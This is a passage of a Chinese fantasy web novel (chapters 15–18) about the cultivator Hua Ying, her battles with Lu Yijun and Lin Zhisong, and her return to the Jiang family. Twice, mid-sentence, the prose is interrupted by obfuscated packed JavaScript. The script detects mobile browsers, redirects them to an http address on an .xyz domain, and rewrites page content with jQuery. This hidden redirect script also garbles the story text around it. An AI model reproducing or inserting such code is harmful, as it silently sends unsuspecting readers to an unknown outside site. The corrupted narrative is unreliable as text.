陆逸君眼角狠狠一抽,动身上前救人,萤虫与九头蛇恰好在这时撞击在了一起。 没有想象中难分胜负的纠缠撕咬,也没有撼动天地的爆裂轰鸣,成群的萤虫没入九头蛇的血盆大口之中,在它身体里寸寸推进,烫出了一个又一个焦黑的窟窿。 窟窿里有熊熊火焰燃烧了起来,庞大的蛇身随之化作一捧捧黑灰跌进雨水中,散落的灵力光芒如死去的星屑。 九头蛇消散的那一刻,萤虫也耗尽力量从空中粉碎,却有一缕余威不散,气浪滚烫,冲撞向上前救人的陆逸君。 这类顶级术法最讲究全面碾压,一击必杀,使用一次就能让人消耗掉许多力量,陆逸君还没缓过来,刚刚击破萤虫,华盈就已经出现在了他面前,凌厉凶狠的拳风灌了过来。 华盈将他掼倒在地,一脚踩在他胸口,不慌不忙蹲下身,让他从她笑盈盈的眼瞳里看清自己的狼狈模样。 “烨都公子天资卓绝,除却无上者之外,战力当属前列,是么?” “高高在上,掌生杀予夺之权,与我们这些蝼蚁草芥自然是天壤之别,随口一句吩咐就能令万人生,万人死,多威风。” 华盈嗓音轻柔,说的话却像刀一样往他心里戳,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809884|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为自己天下无敌,无需动手就能让人跪地求饶?陆逸君,在四大世家高高捧起的心肝宝贝当中,你心性垫底,经验垫底,至于外界热衷讨论的战力高低,我看也是垫底。若是凭借自欺欺人就敢目空一切,陆公子,你以后不知还要挨多少打呢。” 陆逸君金丝发冠断裂,墨发浸泡在泥泞之中,脸上,身上全是青紫红肿的伤痕,断裂的骨头扎穿胸腔的皮肉露了出来,触目惊心。 他此刻只能抬手勉励抵抗华盈的攻击,目眦欲裂,忽然间—— 雨停了。 城中无数屏息观战的人先是愣了一下,凝滞的呼吸缓缓活了过来,震撼的目光也终于动了动,望向天上。 华盈也有点没反应过来,抬头,弯了弯唇。 乌沉厚重的云层一时间难以散尽,但这场大雨是真的停了,此刻若是换作白日,满城百姓也许喜极而泣再等上半刻钟,便会有天光破云,金辉遍洒万万里。 陆逸君双目猩红,理智近失,心底的杀意彻底撞破所有桎梏。 步星潭的阵法被毁了! 先是被这个名不见经传的女子以如此屈辱的方式踩在脚底,再是被人毁了阵法,最后难道还要眼睁睁地看着她把那几个星罗宫长老也顺利带走吗! 他从来没尝过失败,没受过这种耻辱! 陆逸君神色扭曲,双手死死握拳,在华盈指尖亮起一簇灵力贴着他的小臂游走,想要剖开他的灵脉时,他猛然发力将她击退数步,反手从袖中摸出一支刻着雷印的血玉簪,朝她一掷而去。 灼热的力量瞬间爆燃,血玉簪中吞吐出嚣张肆虐的雷弧电光,释放出的威势让华盈瞬间喷出一口血,只差一瞬就让人毙命。 华盈反应很快,身前的水洼中飞出无数水滴排布如盾,后撤身抬手横挡穿透水滴缝隙而来的雷光,手臂上传来被雷弧灼烧的痛楚,鲜血喷涌而出,皮肉翻卷。 她也就是在这时猛然意识到一个自己羡慕不来的事实,陆逸君得到了烨都全部的厚爱,总有一些坚不可摧的庇护在身。 跟江璧月一样。 想到江璧月,华盈握了握拳。 她盯着陆逸君,冷笑着往后退了几步,转身朝那六个星罗宫长老走去。 暂时抑制恨生蛊发作的药有时间限制,后续的反噬更是不可大意。 传送阵灿然生辉,将她与六人带离。 . 步星潭。 林之凇抬脚跨过烨都修行者的尸体,走出血泊,解下在他刚才与生灭令的交锋中被绞破的大氅,随手递给身边的人。 那名崇阿军战士快速把方才战斗中留下的所有气息抹除得一干二净,快步跟上。 他记得苍云息的叮嘱,少主的身体其实还没有恢复好,此行要随时观察少主的状态。 他再次大着胆子走在林之凇身旁,盯着他的脸瞧了瞧。 能在生灭令之下摧毁邪阵,还全身而退,难度可想而知。林之凇的眉眼间浮现出一种脱力后的倦懒散漫,但还好,没有前一阵子见谁就刺的不耐烦,似乎心情还行。 然而刚离开步星潭不远,一名同僚就赶来了林之凇面前报信。 “少主,陈镜竹不见了!” 那人跪地行了一礼,飞快地递出一枚留影石。 “华盈姑娘单枪匹马闯入了红枫林,带走了几个人,不知所踪。” 心情还行的林之凇看完留影石里的一幕幕画面,脸色随着呼吸一点点冷下来,眼瞳里蓄满风雪。 看来是因为他对她太客气了些,才让她竟然敢在他眼皮子底下帮着陈镜竹打星罗宫的主意,跟他作对。 那名专心看他脸色的战士不自觉蹑手蹑脚地往旁边退了一步。 他都能想象到外界现在讨论得最火热的话题是什么——那不知身份来历的女子与战力巅峰之一的陆逸君一战,胜。 寸心简也在此刻闪烁不停。 那消息已通过寸心简传遍大陆,轰动四方。 林之凇捏着那块晶莹璀璨的留影石,连华盈用了什么办法暂时抑制了恨生蛊都懒得追究,吩咐。 “通知苍云息,带一队人去把星罗宫围了,擅自出入者,死。” 他没有停顿,眸光森寒闪烁,什么深深浅浅时有时无的杀机全都不必再暗藏。 “一旦有华盈的下落,直接告诉我。” 16. 第 16 章 山洞的入口被藤蔓和杂草掩盖,几行脚印已被人仔细清理干净。 洞里光线微弱,躺在阴影中的星罗宫长老缓缓醒来,睁眼看见昏暗陌生的环境,眼瞳猛缩,双手已本能地做出防御的动作,蓄满灵力光芒。 “别急着动用灵力,先把药服了吧,等力气恢复得差不多了,再把你们身体吸收的东西逼出来。” 说话的人是一名姑娘,嗓音清脆干净,在空旷深邃的山洞中,像极了水落幽潭,流泉击脆。 七长老最先从地上坐起身来,瞧见背靠石壁坐着的华盈,眉黛青山,清秀娴美,正熟练地处理着自己手臂的伤口。 她说话时,停下了手里的动作,从珍灵镯里取出了几瓶药,轻手一抛,圆滚滚的小瓶子就顺着地面咕噜噜来到了他手边。 七长老心下骇然。 他的确能清晰地感受到了一股股外来的虚无之物在体内浮沉,若是再晚上一段时日,它们将完全占据体内的每一处空隙,把他的生机全部排挤出去,让整个身体彻底变成容纳虚无之物的器皿。 被困在那座机关塔中,失去意识之后发生在他们身上的所有事情,他大概都能猜到了。 这样的秘密竟然被烨都知晓并利用,星罗宫中有叛徒! 可是,恐惧、绝望和死亡,烨都拿这些东西来做什么? “敢问姑娘是什么人?是你救了我们?”几位长老面面相觑,谁也不敢吃这药,有烨都蛮横残忍的举动在前,他们此刻对谁都保持着高度的警惕,并不认为被陌生之人从烨都捞出来是一件好事。 华盈在手臂上缠好了药布,低头咬住药布的一端,另一只手牵着另一端系了个结,放下衣袖,坦然迎接他们各有所思的打量。 “我叫华盈,诸位别紧张,也不必谢我,救你们出来是我与陈镜竹说好的交易,细节他会和你们讲清楚,到时候若是诸位不同意,我会把你们送回去陆逸君那里,多费点力气罢了。” 言讫,几名长老神色复杂,有惊有疑。 哪来的狂纵后生,陆逸君那儿是什么想闯就闯,想退就退的地方吗? 他们莫非是被困了数十年,天下间才突然出了这等厉害的年轻人? 但他们此刻更关心另外一件事。 八长老浑浊的眼睛亮起了光,花白的胡须都有些发颤,他手指碰了碰圆鼓鼓的小瓶子,急切地问:“姑娘,我们少宫主现在何处?他可有受伤?有没有给我等留下了什么话?” 华盈指了指洞口:“喏。” 洞口有一片阴影铺了进来,令本就晦暗不清的山洞霎时陷入了更令人惶然的黑暗。 陈镜竹踩着影子走近了山洞,脸颊消瘦,双眼满是疲惫,虽然自知务必在长老们面前打起精神,却仍然让人看出了一股难以掩饰的落魄与憔悴,与从前那个意气风发的青年天差地别。 分别了半个多月,这副强装镇定可靠却沧桑的模样落到几个长老眼里,无异于代表着他过得比他们还要艰难。 “少宫主!” 长老们纷纷激动地站起身来,想上前迎接他,却因为又累又饿,身体亏空,哎哟声响了一片,互相搀扶着才没摔出个狼狈样,心里更是一片愤然,“烨都简直欺人太甚,如此横行霸道漠视人命,难道以为天下世家门派的生死都是他们说了算不成!” 陈镜竹摆摆手,自己也倚靠着石壁坐下来休息,先把在外面带回来的水和食物都分给了大家:“大家别激动,都先坐下把药吃了,听我说说星罗宫和沧州现在的情况。” 他把烨都制造水患,林之凇带人入驻沧州的始末以及星罗宫的死伤困顿全都详尽地说了出来,略过了自己在陆逸君手下受的折磨,免得又惹得长老们涕泗横流。 说到最后,陈镜竹脸色凝重,掷地铿锵。 “星罗宫经此一劫,元气大损,往后还要辛苦诸位与我一同重振星罗宫。论实力,我虽与陆逸君如隔天堑,但此仇绝不敢忘,将来有朝一日寻到机会,我定然会不惜代价,向陆逸君讨要公道。” “诸位长老现在要做的,是把体内吸收的那些东西全部清除干净,我们紧接着就要回星罗宫……”他顿了顿,看了眼华盈,越想越亏,但并不后悔,平静道,“把沧州拿回来,送给华盈姑娘。” 几位长老听后明显一怔,他们不可置信地反应了一会,接着又扭头看了看华盈,想起她刚才说的交易,眼里失去了被烨都与青要山的所作所为惹起的愤怒,取而代之的是一种极其复杂的情绪。 君子一言,驷马难追,更何况弃了沧州才能保下星罗宫。 华盈没有去理会星罗宫这些人的斟酌权衡,也不怕谁敢说出一句反对。 她垂眸摆弄着一朵小小的幽月昙,想着自己的事情。 三天其实过得很快,只要子时一过,恨生蛊也就死了,“刺杀”林之凇之后,她就该回北荒了。 华盈算了算时间,抑制恨生蛊发作的药效也快过了,等反噬一上来,她哪都去不了,再撞上林之凇,怎么死的都不知道。 她最不喜欢陷入被动,起身往外走:“陆逸君不敢明目张胆来寻你们的麻烦,但极有可能将邪阵的黑锅丢给你们。我去见一见林之凇。” 陈镜竹目送她的背影,简直肃然起敬。 不愧是敢单枪匹马闯红枫林揍陆逸君的人。 不动脑子也猜得到青要山的人正在四处抓她呢,她还敢去见林之凇。 . 星湖。 一片金红色的叶子从枝叶繁茂的一棵榕树上掉下了,打着旋落入下方蓝紫色的星湖中,点开一圈圈细微的涟漪。 星湖广袤无边,湖上空无一物,却有一座宫殿的倒影在水中隐隐若现。 宫殿巍峨如山,玄玉为墙,银白璀璨的细闪点缀在漆黑宫墙的各个角落,宛如夜幕之中群星闪烁。 倒影之中,抢夺了一半星罗宫势力的陈家旁支与剩下誓死守护星罗宫的弟子停下了半个月也没分出胜负的交锋,向宫墙外释放出的窥探之眼把青要山修行者的肃杀合围之势清晰传回。 意料之中的这一日真正来到时,仍然让他们满目惊慌,商议着要派谁出去交涉和谈。 湖边石上,意气风发的苍家小将军少有这么耐心而从容的时候,笑吟吟地垂眸注视倒影里的一只窥探之眼,唇角微勾,傲气得很。 二十名青要山修行者将星湖围绕,肃静待命。 终于,倒影之中,一名身着苍青色衣袍的男子跨出了星罗宫大门。 水面的涟漪越扩越大,他像是凭空出现在了水面上,又像是本就站在那里,只不过之前被一层障眼的屏障给遮掩住了身形。 苍云息发出哦呦一声惊叹,笑眯眯地打量着他,意有所指:“你们星罗宫的结界真是稀奇,看得我也想进去瞧瞧这里面是不是别有洞天,能让我进去坐会儿么?” 男子年纪看上去和苍云息差不多,却比他少了许多人情世故里历练出的游刃有余,面对他的注视尤其显得有些无所适从,先拱手行了一礼,稳住声线里的紧张。 “在下星罗宫掌门三弟子,乔厉。宫中遭逢变故,实在、实在不便迎客,否则会怠慢了诸位贵客,还请苍公子见谅。” 苍云息不急不慢上前一步,自来熟道:“这好办,进去坐坐,我教你?” 眼见着他的双脚已经走出了湖边岸石,要踏上星湖,乔厉局促的脸色急变,抽出悬挂在腰间的玉笛在指间转了一圈,横挡在身前,做出功防之势,目光坚毅。 身后突然有几个穿着同色门服的人站了出来,其中一名女子按住了他握笛的右手。 那小师妹看起来比乔厉还要小些,气势却不输给任何人,扬声道:“林之凇呢?他也知道自己趁人之危上不得台面,所以不敢亲自来这,是不是?哼,身为青要山金尊玉贵的少主,却趁火打劫,也不怕人人唾弃!” 身旁的同伴们都是星罗宫中的年轻弟子,宫中能主事的长辈们不在,天塌了也有人撑着的可靠庇护也失去了,他们头一回毫无退路,毫无倚仗,仅凭自己的力量直面强大之敌,这半个多月以来忍受的惶惑,委屈与愤怒全都不管不顾地发泄了出来。 “你们青要山打着赈灾救济的名义在沧州浑水摸鱼也就罢了,今日竟然光明正大地来了我们星罗宫,莫非要欺负我们星罗宫无人了不成!声名赫赫的青要山要做登门入室的强盗了吗,别欺人太甚!” “星罗宫虽遭了祸劫,但我们还站在这,谁都别妄想能兵不血刃,夺走这里的一砖一瓦!” 苍云息双手环抱,笑吟吟地听着他们的控诉,实在受不了被误解了才出声打断:“那倒不是,星罗宫的什么枯音琴与十二律杀诀,我们又用不上,宫里的资源财富应该被陈家旁支净挑好的抢走了不少吧,况且那些东西我们青要山要多少有多少,我都不稀罕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14819473|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,更别说林之凇那眼光了。今日我们过来呢,是为了解决后患。” 星罗宫弟子们愤怒的质问声戛然而止,纷纷取出本命武器直指苍云息,不知谁的武器先发出了战意凛然的一声律动,激越的灵力荡起星湖上的一阵疾风,剑拔弩张的气氛笼罩四方。 “你们不是对手。”苍云息说,“再等等,要死的也不止你们。” “宫中的师弟师妹们年幼莽撞,做不得主,苍将军,我来与你们谈。” 一道熟悉却气势不同的声音随山风涌来。 “师兄……?是师兄回来了!” “少宫主!” “长老们也回来了!” 苍云息把人等到了,回头看向沿着山路走到他对面的陈镜竹。 半个多月里受到的那些残酷之刑令他的身体破碎不堪,需要用极长的时日来恢复,他仍然虚弱着,脸上没什么血色,握拳挡在唇边轻咳了一声,却与之前在听水苑中只知道踱步不安辗转难眠的样子判若两人。 他胸有成竹地与苍云息对视,气息平静泰然,如一曲定胜之音。 “苍将军,青要山若是为了免除后顾之忧就灭了星罗宫,免不了落人口实,这种流言蜚语并不好听,否则林少主也不会把星罗宫留到今日。” “况且即便是林少主亲自出手,今日也灭不了星罗宫,更拿不走沧州。” 他不卑不亢,嗓音平稳有力,反常的态度让苍云息微微眯眼,脑海里快速翻过与之相处的全部细节与自己掌握到的与星罗宫有关的所有信息。 他哪还有什么底牌在这胸有成竹? 苍云息投去一个疑惑的目光:“?” 陈镜竹看向身后的几位长老,微微颔首:“有劳。” 六名长老同时结印。 夜风安静下来,星月的光辉也同时敛退,只见浅金色的点点灵光不断在半空中游移,六位长老同时抬指一点头顶苍穹,点点灵光便化作股股丝线冲入高空,汇聚成一只巨大的眼睛。 它缓缓睁开,金色的瞳孔散发出威严冷酷的力量,将沧州五城、山河万顷尽收眼底,一切藏匿其中的深具威胁之物都将在它的注视下灰飞烟灭。 苍云息嘶的抽了声气,头一回觉得事情有些麻烦了。 护天灵。 用一个世家宗门历代长老弟子的心念与意志凝聚的护天灵,一旦彻底醒来,将会让侵袭辖地之人全军覆没,而唤醒它的这个世家宗门也会化为灰烬,无人能幸免。 摆明了要拉他们同归于尽。 “想不到你们还留了这一手,陈家先祖真是思虑周全啊。”苍云息气得发出一声闷笑,难怪陈镜竹这小子这么有底气呢,原来是笃定了青要山竹篮打水一场空。 “苍将军过誉。”陈镜竹淡淡地笑了下,“也不止是护天灵。” 与此同时,苍云息的寸心简上光芒闪烁的频次越来越密集,暗示着有什么不得了的消息飞快地传遍了四海。 苍云息微微眯眼。 寸心简其实在不久之前就已经开始闪烁,他原本以为是些闲聊八卦,没功夫看,这时猛然发觉不对劲,点开寸心简扫了扫。 是星罗宫大张旗鼓昭告天下,欲设宴向林之凇道谢,感谢其心怀苍生古道热肠无私帮助,助星罗宫和沧州渡过难关。 更有人热议纷纷,说路上看见许多百姓见了青要山的人往星湖去了,他们于是也自发赶来星湖,要当面感谢林少主答应星罗宫的求救。 苍云息的脸色彻底冷了下来。 人人心知肚明的接管沧州变成了星罗宫感恩戴德的无私奉献,现在天下那么多双眼睛全都看着林之凇呢。 陈镜竹顿了顿,他在陆逸君那里走了一遭,已然深知四大家的人看似正人君子,其实根本就不讲仁义道德,为达目的不择手段。 他注视着苍云息的冷笑,似乎看见了真正能做主的那位少主在被摆了一道之后要用黄泉焰把此处焚为灰烬的怒火,其实心里有些虚了,冷汗也浸了出来。 “所以,苍将军,现在我们来和谈吧。”他鼓足勇气继续说,“用我尽最大能力为青要山提供的好处,来换星罗宫的一线生机。” 林之凇的声音从他身后传来,清冷得像是堆了雪的湖泊。 “和谈……” 他的轻笑声在旁人耳中意味不明,却让陈镜竹听出一丝危险的情绪,“华盈教你的?” 17. 第 17 章 无论是林之凇本人,还是百年前将无尽海烧得干涸的黄泉焰,都让星罗宫在场的人发怵。 可是让陈镜竹汗涔涔的,是他刚才着重咬下的“华盈”二字。 这两人的恩仇纠葛果然不浅啊。 陈镜竹深吸了一口气,保持冷静接下林之凇的注视:“林少主的黄泉焰如雷贯耳,也许的确能快过护天灵,但绝不可能全身而退的结果,怎能算赢?” 被逼至绝路,陈镜竹只剩下一股不管不顾不怕死的精神,咬咬牙,继续说:“我们这些人死了就死了,可青要山只有你一个少主。” “这一句也是华盈教的么?”林之凇若有所思,似乎看见了她弯弯笑眼里浮动的一点骄傲与挑衅。 他抬眼盯着陈镜竹,“她还教了你说什么?” 陈镜竹一愣,气势弱下几分,话音都抖了一下:“她、她说你若是问出这句话,现在要的就只是一条消息。”也代表放过了星罗宫。 “她在秋月廊。” 林之凇原地开了传送阵。 旷野寂夜,星河横天。 一丈宽的竹制长廊延伸于莲池上,如水上浮桥。 待到晴朗夏日,会有男女老少来此踏歌登船,争赏满池红花碧叶。 长廊与岸边交汇处长着一棵四季常青的树,华盈坐在树上,双手撑着树干,两条腿悬在空中轻晃,盯着地上突然亮起的橘金色光芒,莞尔一笑。 “林之凇,你要是再晚一点,今日一过,咱们以后就分道扬镳再也不见了。”她估了估时间,露出一点可惜的神色,像是在嫌弃他连找个人都这么没用,“还剩半刻钟不到。” 林之凇站在大树投下的阴影中仰头看着华盈,她穿着水下初见时的那身衣裙,晶莹璀璨的银色发链闪烁着碎星般的微光,幽月昙随意簪在发间,圣洁优雅,肌肤如月下瓷器般透着温润光泽。 去时与来时一样,潇洒自由不沾血。想的倒是美。 林之凇眼里浮起一丝丝银白清透的光辉,遍洒天地间的月色都追着他涌来,一种冰寒诡异的气氛在旷野中节节攀升。 “你还有以后?”他声线沉冷,听得出被她戏耍之后忍无可忍的杀意,“躲在我身后帮陈镜竹坐收渔翁之利,这么聪明大胆,我真想看看你还有什么招数。” “还有……”华盈想起自己为江家那对父女想好的死路,眼里的笑意放大几分,闪烁着危险的光芒,“借刀杀人。” 她离开大树一跃而下,从树干上随手抓起的,是一张早就准备好的木弓。 灰褐色的树枝搭上木弓,覆上了一层金灿灿的灵力光芒,如坚不可摧的奇兵利刃。 华盈于半空中拉弓,瞄准,松弦。 一丝丝灵力在她身后凝聚,金色的线条勾勒一个身披甲胄的将士虚影,动作与她同步,手挽长弓,箭出惊啸,蕴含着强于木箭千万倍的力量。 秋月廊四方突然亮如白昼。 一片巨大的弯月从林之凇背后升起,月光如游龙而来,冷硬锋利,丝缕如剑气,瞄准同时飞射来的两支长箭主动轰杀而上,没有丝毫惧怕。 天摇地动,夺目的白光笼罩在二人身上,光团之中,华盈掌法诡谲,林之凇招式狠辣,笼罩秋月廊一带的结界上投影出一片变幻莫测的灵力光影。 白光散尽时二人已交手上百招,眼里只剩淋漓尽致的敌意。 林之凇瞳孔漆黑如渊,沉寂得迫人:“惩天之体,北荒孤女,商家决裂,你要我查你的身世,今日便不敢真正对我下杀手,这是致死的矛盾。” “就查到这些?还不够。”华盈轻轻一笑。 林之凇不想再跟她浪费时间了。 他四周的温度骤然升高,黑夜里燃起暗红色的火光。 滚烫的火焰灼烧之下,今夜的月色也扭曲错位。 夜色被火焰焚烧殆尽,大火席卷旷野,无边无际地蔓延,天地间只剩下炽热翻涌的暗红色火浪在叫嚣翻卷,扫荡四方,带来末世降临般的腐朽与压抑气息。 丛草林木转眼就被大火吞噬,灰黑色的余烬被滚烫的热浪卷起,漂浮在半空之中。 拥有焚天毁地之能的黄泉焰,会顺着任何可燃之物无限蔓延,将一切烧成黑灰。 林之凇也不会轻易使用。 华盈盯着火墙后方杀意昭然的林之凇,兴致越浓。 她朝他无所谓地笑了笑,脚下突然出现了清澈的水光。 水波潋滟,涤荡出若有若无的金绿色泽,一尾虚幻的鱼从水中游了出来,寥寥几道浅金光丝勾勒出它的轮廓,混杂粉绿二色,流光溢彩,绚丽如幻,绕着华盈优雅盘旋。 无生之鱼。 在黄泉焰卷起火龙朝她焚烧而来的一瞬间,无生鱼游动了过去,大火在它的路径四周偃旗息鼓,层层涤荡开的湿润水汽与热浪触碰,四处都是令人毛骨悚然的嘶嘶声响。 白茫茫的水雾升腾,笼罩秋月廊一带。 无生鱼轻盈摆尾游动,一往无前,黄泉焰节节败退,焦黑的断叶残枝上到处都挂着残存的微弱火光。 被当世修行者传得神乎其神、号称不败不灭的黄泉焰,在此刻成了笑话。 无生鱼畅行无阻,来到林之凇眼前,被他一掌轰碎,在紧追而来的华盈面前化作无数冰冷的水珠洒落,粘湿她的眼睫。 惩天之体爆发出的一缕攻发之力混入她周身爆炸开的灵浪之中,撞得林之凇不断往后退,无生鱼碎裂后坠落成的水珠骤然浮空,围着他的脖颈缠绕成一条水链。 华盈如残影而至,一手抓着水链的一端,用力勒紧。 林之凇紧盯着面前这张冷漠无情的脸,突然想起之前在残花道时,那个在他心里一闪而过的错误猜测。 他当时一定是脑子有病。 雾月昙的味道香甜诱人,拼了命地往他身体里钻,像是吸血食髓的怪物要把他从内里吞噬干净,跟它的主人一个模样,温婉大方的背后,还有生来骄傲残忍,睥睨众生的一面。 无论是黄泉焰还是无生鱼,都让二人耗尽了大半的力量,华盈此刻也同他一样虚乏手软,气息都有些不稳。 她像是故意要报复他这三日以来屡次对自己的轻慢无礼,腾出右手猛然撕开他的衣裳,露出健硕的胸膛与皮肤上一道道刚刚愈合的雷击伤痕。 华盈的目光轻飘飘地往他身上一扫,笑靥依旧明丽动人,却没了往常的温柔,取而代之的是阴损嘲讽:“林之凇,你蠢不蠢啊,怎么偏偏敢挑自己受伤未愈的时候和我打,若是以你平时的状态,你或许能在万幸之中与我打个两败俱伤,可现在,你的确不行。” 林之凇因她出其不意的动作愣了一下,深深皱眉。 他对谁动了杀心时,浑身气势冷肃迫人,让人觉得只是看他一眼都会被他眼里的一场风雪 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水箭当胸而过,华盈忍痛闷哼了一声,反手蓄力一掌拍在他胸口,厌恶又期待地张了张唇,无声却带着尖刺。 与林之凇藏在眼神里的一句话重合: 我一定会杀了你。 传送阵带着她消失不见。 “林之凇!明知她是惩天之体,你还一个人过来,真行。”苍云息带着人上气不接下气地追了过来,刚要上前表示真心实意的关心,看看他受伤了没,却被他转身过来时露出的胸膛吓了一跳。 随即看热闹不嫌事大的惊叹两声。 “谁家姑娘打架还扒人衣裳啊,你在她心中地位还真不一般。” 林之凇原本没打算搭理他,把灵血交给了同行的战士,交代其查验真假,转身就走,听到这一句话,忍无可忍,眼也没抬:“沧州这一趟,大家都走得辛苦,我原本打算回去之后额外给每人拨一笔奖赏,你就不必了。” 一阵哀嚎声回响在秋月廊,要和林之凇拼命。 跟着赶过来的闻旸觉得聒噪,皱了皱脸,几步追上林之凇,递上一封密信:“少主,华盈姑娘的身世找到了。” 林之凇脚步一顿,拆信细看。 白纸黑字上密密麻麻的往事与她刚才主动暴露灵血气息时的挑衅神色联系在了一起,林之凇知道她在他这里算计的是什么了。 以灵血为诱惑,让他明知是利用也要亲自去把她揪到太阳底下来。 北荒,江家,不见光的双生子。 他要抓到她了。 . 华盈的传送阵先开到了一间客栈。 反噬来得并不迅猛,而是如钝刀子割肉一般折磨,比恨生蛊发作时还要痛,华盈自认为心性坚韧,却反反复复痛得晕过去了几次,等到她能清醒地躺直在床榻上均匀喘气,天已经蒙蒙亮了。 奇怪,夜里痛晕的那几次,竟然还做了梦。 每一次都清晰地梦见她在回北荒的路上。 日有所思夜有所梦吧,她心想,揉了揉脑袋。 寸心简里躺着几条消息。 最前面的是陈镜竹发来的,告诉她沧州是她的了,问她有没有什么安排或吩咐。 最后是一句另一个人摩拳擦掌跃跃欲试的期待。 「小姐何时让我回北荒?」 18. 第 18 章 北荒,浮雪之巅。 华盈刚刚经过江如晔屋外的窗户,脚还没踏进门槛,无形的气浪夺面而来。 她强迫自己让发自本能攥紧的手掌若无其事地舒展开,身子忍着战意,僵了一瞬。 啪。 火辣辣的疼痛像瘟疫一样带着恶意蔓延全身,华盈右手捂住脸,乌黑纯澈的眼里露出歉意:“家主恕罪,刺杀失败是我没用,请家主责罚。” 江如晔从主位上站起身来,负手来到她面前。 他的修为不如华盈,但多年掌权揽势的气势不可小觑,每走近一步,释放出的威压也越发令人窒息。 “盈盈,你是个聪明的孩子,真的以为自己是因为刺杀失败而挨的这一巴掌吗?” 江如晔年轻时就是一派儒雅温润的样子,脸上总是挂着得体的笑,细听却毫无真实的情绪,让人不寒而栗,“我允许你失败,但不允许你自以为是,任性妄为。” 华盈眸光闪了闪,明明心里觉得委屈得不行,却还要好脾气地与人讲道理,这副模样在江如晔眼里,与闻锦如出一辙。 江如晔一恍神,想起闻锦的耐心与理性让夫妻二人之间为数不多的几次争吵最终都偃旗息鼓。 他竟然又想起了闻锦。 江如晔知道自己少年时并不是一众兄弟姐妹中最出挑的那一个,却最幸运。 实力不俗但不出众,权位最低,管辖的城池军队最少,在争夺江家未来家主之位的角逐中快要出局时,却成了闻家小姐的丈夫。 两家联姻,本是一纸契约,可闻锦先动了心。 江如晔在闻锦身边感受到赤诚无瑕的爱意,毫无保留的付出,最舒适放松又独一无二的相处模式,于是也给出少年人最真诚的回应。 闻家彼时为越、焕、灵三州之主,三州富有矿藏,令许多人垂涎,江如晔因此得到源源不断的财、物支持,大大扩充拉拢势力,在本家地位提升。 又得到闻家传家宝相助,成功步入逍遥境,在一众江氏子弟中,变成了最不可小觑的那一位。 江如晔对闻锦除了心动与爱意,还有时刻牢记在心间的感激,笃定自己和她会长长久久,直到双生女儿出生那天。 在江如晔心中,闻锦与江家家主、北荒领主的位置,都是第一,其余的任何东西,譬如亲情,血缘,友情,道义,承诺,都得往后站。 更何况小女儿华盈还是预占中会破坏大计的重要因素。 江如晔斟酌过的结果是,他与闻锦的一生很长,他们又不是只会有这一个孩子。 然而闻锦却因为这个孩子对他失望,她违逆江家的诛杀令,摧毁浮雪之巅的攻守大阵,带着孩子离开了江家。 为此杀了阻拦在前的一名长老,重伤了无数捉拿她们的许多江氏弟子,令江家损失惨重,与江家决裂。 前者在江家威望地位颇高,是坐镇北荒的中流砥柱之一,后者是江家倾心竭力培养出来的年轻一辈。 更在他最后忍无可忍,亲自出手捉人时,碎了道侣之间的契印。 还借契印碎裂时的残力,将他打伤。 彻底反目成仇。 华盈尚在襁褓,就闹得北荒江家损失惨重,腥风血雨,无形之中似乎已经让预占所指的不详结局正在实现。 江如晔因此惴惴不安。 他对闻锦充满埋怨,爱意在前,怨恨更是浓烈的折磨。 对华盈唯有恨与惧。 六年,江家派出的一批批精锐从全军覆没,死无全尸,到逐渐能回来一两个重伤濒死的人,在江如晔心中无疑是一种可喜又忧心的暗示。 闻锦在这六年里受了许多伤,实力衰退不少,江家再对华盈锲而不舍地追杀下去,她恐怕要护不住华盈了。 江如晔怨恨闻锦在他与华盈之间,毫不犹豫无视他的诉求、谈判、安抚,直接放弃了他,却也担心最后把闻锦逼入绝境,把她推上死路。 华盈盯着江如晔逐渐显露出怨恨的一双眼,心里涌现出一股报复的快感。 她轻声解释:“家主指的是我打了陆逸君?他在我与林之凇身上下了恨生蛊,害得我那三日都在林之凇眼皮子底下如履薄冰,也因此被他发现破绽,以致刺杀失败,我真的很生气。” 江如晔回过神来,难得撕下虚伪的假面,冷冰冰地哼了一声,倨傲强势的目光要把她逼入死胡同:“那几个星罗宫的人又与你有什么关系?你闯什么红枫林,救什么人!林之凇尚不敢为了个恨生蛊而与烨都大打出手,你倒好,闹得天下皆知。” 现在全天下的修行者都在拿着留影石研究她的来历! 江家那群长老现在也知道了他这些年一直把她当成杀手来养的秘密了,一个个的颇有微词,几乎是在合起伙来质问他,为何要违背当初只留她性命,不得让她离开蛇窟的约定。 华盈平静解释:“我不知那几个人是星罗宫的人,因为想要找陆逸君算账,便特意盯着他的动静,见过他亲自去了红枫林几趟,我猜那里面有什么对他而言十分重要的东西,所以才闯了进去,想让他功亏一篑。” 她顿了顿,接着说:“况且,陆逸君不知道我是谁,没有人知道我是谁。” 江如晔听得心烦意乱。 印象中,这是华盈第一次做他命令之外的事情。 他不需要她对外界发生的一切有任何思考或想法,不允许她任由情绪的驱使去做那些可能会暴露身份的事情,节外生枝就代表着她正在脱离他的控制,连夺心蛊都无法给他带来安全感。 “回去休息,等月儿从云山城回来,你就跟我们去渡血。”江如晔摆摆手示意她赶紧走,揉了揉眉心,低声吐字,更像是在安抚自己,“快了,月儿最快今晚就能回来。” 华盈应了一声“好”,退出房门时,恰好有一名侍从快步经过她身旁,急匆匆进屋去见江如晔。 